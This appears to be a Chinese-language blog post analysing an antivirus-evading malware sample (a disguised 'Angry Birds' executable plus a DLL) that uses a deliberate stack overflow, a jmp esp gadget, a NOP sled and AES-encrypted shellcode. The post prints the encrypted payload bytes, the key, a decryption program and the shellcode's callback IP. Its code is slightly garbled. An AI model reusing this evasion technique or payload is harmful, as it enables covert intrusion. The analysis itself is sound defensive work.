文化集团网站模板,网站虚拟交易技术怎么做,上海外贸网站推广,成都网站开发外包公司目录下存在愤怒的小鸟.exe和fun.dll文件#xff0c;最新版火绒#xff0c;windows defender#xff0c;腾讯电脑管家#xff0c;360静态扫描都未发现恶意程序 动态执行#xff0c;杀软也未拦截 上传到virustotal网站分析恶意程序#xff0c;只有三个引擎检测出来 die分析…目录下存在愤怒的小鸟.exe和fun.dll文件最新版火绒windows defender腾讯电脑管家360静态扫描都未发现恶意程序 动态执行杀软也未拦截 上传到virustotal网站分析恶意程序只有三个引擎检测出来 die分析恶意程序未加壳32位PE程序 将恶意程序导入ida pro进行静态分析 程序主函数伪代码很少没有常见恶意程序使用的函数首先程序往v15变量里导入了2012个A字符 然后定义了一个地址通过查询这个地址并未在当前程序中 然后往v10变量里放入了很多0x900x90是汇编指令中的nop指令NOP 指令No Operation是一种在计算机汇编语言中常见的指令它的作用是不执行任何操作即空操作 然后往pbData变量里传入了一串值根据后面的分析这一串值是解密shellcode的key v6v8里的值就是payload 这里程序调用了memcpy函数拼接字符并且是将payload拼接到了其中 调用了__i3b_D2函数将密钥和payload都导入了其中是解密payload的函数 aes的解密方式说明payload是经过aes加密过的 然后将一大串nop指令和payload用memcpy函数copy到指定的变量里最后调用了Function函数
只有一个strcpy函数 程序主要的代码就这么多还不知如何绕过杀软执行上线的
使用pe-bear分析程序 导入了四个dll库其中ADVAPI32.DLLKENNEL32.DLLmsvcrt.dll都是程序编译时系统自动绑定的dll只有fun.dll是第三方dll用ida分析fun.dll
找到exe程序中定义的地址是一个jmp esp指令 这个dll的代码只有jmp esp这一个功能 从程序里导出shellcode后解密
#include windows.h #include string.h #include stdlib.h #include stdio.h #include wincrypt.h #pragma comment (lib, “crypt32.lib”)
void aes_de(char* code, DWORD codeLen, char* key, DWORD keyLen) { HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey;
if (!CryptAcquireContextW(hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, hHash)) {return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, hKey)) {return;
}if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, codeLen)) {return;
}CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);} int main(int argc, char argv[]) { unsigned char payload[] { 0xc1, 0x0, 0xfa, 0xed, 0x2, 0xda, 0xf5, 0xa6, 0xfb, 0xbc, 0xea, 0xe1, 0x48, 0xe0, 0xd2, 0x84, 0xaf, 0xe2, 0x42, 0xcd, 0x37, 0x43, 0xa5, 0xa9, 0x8c, 0x1e, 0xb7, 0xa5, 0x33, 0xc1, 0xde, 0x2c, 0x24, 0x84, 0xdf, 0x1c, 0xea, 0xcc, 0x34, 0xc4, 0x8, 0x56, 0xab, 0xa, 0xbf, 0xfc, 0x71, 0x25, 0x3, 0x41, 0x62, 0x28, 0x1a, 0xb5, 0x10, 0x39, 0xa2, 0xc4, 0xf5, 0x4e, 0x96, 0xb7, 0x66, 0x21, 0xb, 0x47, 0x74, 0x35, 0x2f, 0xd8, 0x25, 0xc6, 0xd0, 0x21, 0x77, 0x1b, 0xdc, 0xc6, 0xe8, 0xe8, 0x62, 0x5a, 0xe6, 0xe9, 0x31, 0xa, 0xff, 0xf2, 0x3f, 0xd1, 0x6, 0x9a, 0x62, 0x28, 0xf6, 0xec, 0xc8, 0x20, 0x4f, 0xe7, 0x6d, 0x82, 0x74, 0x84, 0xe2, 0xfa, 0xf, 0xff, 0x40, 0xcd, 0xea, 0x26, 0xa0, 0xe5, 0xcc, 0x7e, 0x67, 0x30, 0xa4, 0x21, 0xff, 0xcf, 0x79, 0xcb, 0xdc, 0xf0, 0x35, 0xa2, 0x6c, 0xc4, 0x54, 0xec, 0x4f, 0x94, 0xf, 0xdb, 0xb1, 0xb1, 0x60, 0x5e, 0x46, 0x87, 0xbf, 0x31, 0xc9, 0x30, 0xb6, 0xc6, 0xd4, 0x48, 0x0, 0x9a, 0x7f, 0x96, 0xdd, 0xa1, 0x15, 0xb9, 0xee, 0xd1, 0x91, 0x62, 0x5d, 0x98, 0xf6, 0x65, 0x37, 0xee, 0xce, 0x19, 0x16, 0x8f, 0x6d, 0xe2, 0x6f, 0x9f, 0xcb, 0x83, 0xd7, 0x2e, 0xdb, 0xcc, 0xae, 0x3e, 0xe, 0xad, 0x3c, 0xb0, 0xe3, 0x83, 0x9a, 0xac, 0xdd, 0x34, 0x2a, 0xa2, 0xe2, 0xee, 0xa1, 0x38, 0x81, 0xc, 0xb3, 0xfa, 0xfa, 0x71, 0x21, 0x7a, 0x2f, 0xb2, 0xa2, 0x57, 0xd, 0xaf, 0x37, 0xa4, 0x6d, 0x1f, 0x7f, 0x77, 0xb0, 0x7b, 0xdf, 0x68, 0xa, 0xe0, 0x35, 0xa7, 0xf0, 0x93, 0x0, 0xcf, 0x8e, 0x66, 0xc4, 0x32, 0xad, 0x9b, 0x4e, 0xdd, 0x4d, 0xb1, 0x11, 0xed, 0x56, 0x6b, 0x39, 0xe8, 0x57, 0xa7, 0x72, 0xf6, 0xb3, 0x95, 0xe0, 0x6a, 0xf2, 0x9f, 0x20, 0xfc, 0x41, 0xc5, 0xe7, 0x80, 0x7f, 0x1, 0x90, 0xaa, 0x13, 0xb2, 0xb4, 0xc, 0x74, 0xe5, 0x1f, 0x45, 0xdd, 0xc1, 0x34, 0x17, 0xb5, 0x1e, 0x84, 0x18, 0x4a, 0x9a, 0xbc, 0xc9, 0x8d, 0x54, 0xa1, 0x0, 0x57, 0xc, 0xc8, 0xec, 0x3a, 0xe8, 0x23, 0x65, 0x71, 0x7e, 0xeb, 0xc3, 0x46, 0x73, 0x6f, 0x50, 0xc7, 0x7d, 0x23, 0xe9, 0x25, 0x7a, 0xb2, 0x8f, 0x79, 0x7, 0xfd, 0xa4, 0x86, 0x90, 0xb5, 0xdc, 0xbb, 0x97, 0x2, 0xf7, 0xd4, 0x99, 0xfe, 0x1a, 0xc1, 0x9c, 0xd8, 0x8d, 0x88, 0xf, 0x34, 0xe6, 0xfc, 0xa0, 0xdb, 0x2d, 0x96, 0x14, 0xef, 0x11, 0xeb, 0x53, 0x17, 0x5d, 0x6b, 0x4c, 0xbd, 0xe8, 0xf5, 0x20, 0x31, 0x3e, 0x4e, 0x8c, 0xa1, 0xc8, 0xc7, 0x70, 0xbd, 0xdc, 0xa4, 0xc, 0x79, 0x29, 0x19, 0x1e, 0xb2, 0x7d, 0x6b, 0xbc, 0xb2, 0xed, 0xa2, 0xe9, 0x1f, 0x31, 0x3c, 0xd2, 0xb0, 0x43, 0xec, 0xe4, 0x46, 0x42, 0x3c, 0xe3, 0x25, 0xa9, 0xda, 0x34, 0xa2, 0xbb, 0xf7, 0x9d, 0x32, 0x57, 0xdf, 0xd7, 0xcf, 0xfc, 0x9, 0x10, 0x9, 0x6, 0x4b, 0xf6, 0x2, 0xf8, 0xed, 0x5c, 0x45, 0x15, 0x8b, 0x61, 0x61, 0x65, 0x9d, 0x58, 0x27, 0xe8, 0xe3, 0x22, 0xbb, 0x2e, 0x1e, 0x94, 0x7f, 0xa4, 0xe2, 0x36, 0x41, 0x2d, 0x24, 0xb, 0x40, 0x29, 0xf6, 0x24, 0x1e, 0xf8, 0xe8, 0xb0, 0xf5, 0x45, 0xb7, 0xd9, 0x69, 0x52, 0xae, 0xae, 0xa1, 0xb1, 0xec, 0x97, 0x78, 0x5b, 0x9b, 0x3c, 0x7e, 0xe6, 0xbf, 0xb, 0x86, 0x7, 0xee, 0xfb, 0xe9, 0xfb, 0xc, 0xdf, 0xa7, 0xda, 0xdb, 0x99, 0xa7, 0xc, 0x72, 0x4f, 0x11, 0xd7, 0x11, 0xf0, 0x18, 0x86, 0x4e, 0x3a, 0x2b, 0x1d, 0x3d, 0x39, 0xab, 0xe9, 0xc, 0xde, 0xc7, 0xf0, 0x50, 0x8, 0xbd, 0x83, 0x32, 0xda, 0x85, 0x45, 0x15, 0x60, 0x63, 0xeb, 0xb3, 0xa6, 0x2f, 0x22, 0x7c, 0xb3, 0x87, 0xfc, 0xf0, 0xad, 0xd, 0x4e, 0x46, 0xa9, 0x68, 0xd3, 0xc9, 0xd4, 0x47, 0xf7, 0xbc, 0xee, 0x29, 0xc6, 0x3f, 0x68, 0x1d, 0xab, 0x32, 0x0, 0x9, 0x6f, 0xc0, 0xf5, 0x86, 0xe1, 0xc1, 0x7d, 0x51, 0x4b, 0xe5, 0xce, 0x76, 0x4b, 0x84, 0x6b, 0x71, 0xc6, 0x0, 0x9c, 0xe0, 0x7c, 0x19, 0xc5, 0x7a, 0xa8, 0xfb, 0x5f, 0x56, 0x31, 0x67, 0xf1, 0x72, 0x48, 0xf5, 0x19, 0xd4, 0xc7, 0xb7, 0xec, 0xe2, 0x60, 0xf, 0x65, 0x18, 0x7e, 0x7b, 0xd1, 0x24, 0xd8, 0x19, 0xb4, 0x6b, 0x5f, 0xab, 0x67, 0x4, 0xeb, 0x46, 0x3e, 0x55, 0xcf, 0xa1, 0xf, 0xa8, 0xd0, 0xef, 0xd8, 0xa1, 0x9, 0xd1, 0xca, 0x59, 0x92, 0x46, 0x2d, 0xc7, 0xd7, 0x90, 0xe, 0x36, 0x98, 0x20, 0x87, 0x47, 0xfe, 0x3d, 0x59, 0x24, 0x41, 0x4b, 0x6e, 0x73, 0x78, 0x86, 0xb8, 0xed, 0x9a, 0x46, 0xb9, 0x4d, 0xf1, 0x7a, 0xc4, 0xc2, 0x32, 0x71, 0xfa, 0x1c, 0xd7, 0xd9, 0xa3, 0x38, 0x48, 0xe6, 0xab, 0x5e, 0x1f, 0x93, 0x4b, 0xa6, 0x57, 0xd3, 0x8e, 0x20, 0x17, 0x79, 0x34, 0xc5, 0x35, 0xcc, 0xa5, 0xa9, 0x2c, 0x1a, 0x7f, 0xc3, 0x89, 0xfb, 0x66, 0xd7, 0x8e, 0x1b, 0xaf, 0xea, 0x0, 0x28, 0xa9, 0xdc, 0x1b, 0x18, 0xca, 0xb8, 0x78, 0x45, 0x31, 0x4c, 0x53, 0xfd, 0x78, 0x79, 0x89, 0xd8, 0x99, 0x3b, 0x1b, 0xf6, 0x65, 0xf6, 0x44, 0xf7, 0x39, 0x6c, 0x48, 0xb0, 0x5e, 0x48, 0xb0, 0xbe, 0x32, 0xc1, 0xb1, 0x17, 0x2a, 0x51, 0x6e, 0x9f, 0x8d, 0xe7, 0x3a }; unsigned char key[] { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 }; DWORD code_length sizeof(payload); aes_de((char)code, code_length, key, sizeof(key)); printf(payload); 使用scdbg分析shellcode发现shellcode外连了一个ip192.168.85.128端口为8011根据上面的浏览器http流量头可以知道恶意程序使用的payload是msf或者cs生成的http payload 动态分析exe使用System Informer监听后台发现程序并没有启动其他的子程序 执行程序在0x62501443地址处打一个断点 用xdbg调试程序运行到程序入口处 F8一步一步查看程序在下面程序跳转到了0x401658地址处 在执行了memset函数时堆栈里都被A覆盖了 这里本来是要跳转到0x4017c6地址处的但是直接跳转到了jmp esp指令地址处程序被栈溢出后控制了返回地址 执行jmp esp后首先是一长串的NOP指令 nop指令后面的就是aes解密后的payload指令 现在知道了程序的执行流恶意程序设置了一个存在栈溢出的函数然后用strcpy函数触发栈溢出攻击将jmp esp指令放到dll库里是为了固定指令地址在不同环境上稳定运行这里放上一个程序执行流程图 通过流量监控也找到恶意程序外连ip 192.168.85.128 端口8011 scdbg工具下载地址
http://sandsprite.com/blogs/index.php?uid7pid152
